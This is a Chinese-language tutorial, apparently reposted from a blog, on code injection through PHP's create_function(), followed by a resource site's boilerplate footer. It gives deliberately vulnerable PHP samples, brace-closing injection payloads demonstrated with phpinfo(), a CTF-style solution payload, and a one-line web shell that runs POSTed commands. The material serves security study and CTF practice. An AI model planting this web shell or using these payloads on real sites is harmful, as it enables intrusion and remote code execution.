creat_function()代码注入

creat_function函数根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分
本地环境测试:(creat_function)
环境:phpstudy+ Apache2.4.39+mysql5.7.26
测试代码:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

分析:
create_function创建了一个lambda_1的函数,这是create_function创建函数返回的名称,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
因此可以等价于:
<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

image-20221015131331969

示例:

<?php
$id = $_GET['id'];
$str = 'echo '.$id.';';
$ft = creat_function('$id',$str);
$ft($id);
?>

$ft = creat_function('$id',$str);
创建了一个匿名函数,那么我们可以通过}闭合第一个{在}后面插入我们想要执行的代码就能够造成一个人代码注入
其大概类似于
function ft($id){
	echo $id;
}
进行代码注入
function ft($id){
	echo 1;}phpinfo();/*
}
那么php就会去执行我们输入phpinfo();代码。
其他的闭合方式,原理都是一样的:
<?php
	$a = $_GET['a'];
    $b = $_GET['b'];
    $str = "return (strlen($a)-strlen($b)=" . "strlen($c));";
	$ft = create_function('$c',$str);
	echo $ft($c);
?>
payload:http://127.0.0.1/a0test.php?a=1));}phpinfo();/*
等价于:
<?php
function ft($c){
	return(strlen(1));}phpinfo();)-strlen($b)=strlen($c));
}

例:

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

paylaod:http://localhost/test/1.php?sort_by=‘”]);}phpinfo();/*

代码注入等价于;

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

其代码执行结果类似于:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

也可以利用create_function函数建立shell后面

<?php $func =create_function('',$_POST['cmd']);$func();?>
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}
这个题目没有create_function函数,但是我们可以把参数a的值赋值为create_function函数在参数b进行代码注入
payload:
\create_function&b=}phpinfo();//

image-20221015134241157

原文地址:http://www.cnblogs.com/GTL-JU/p/16831601.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性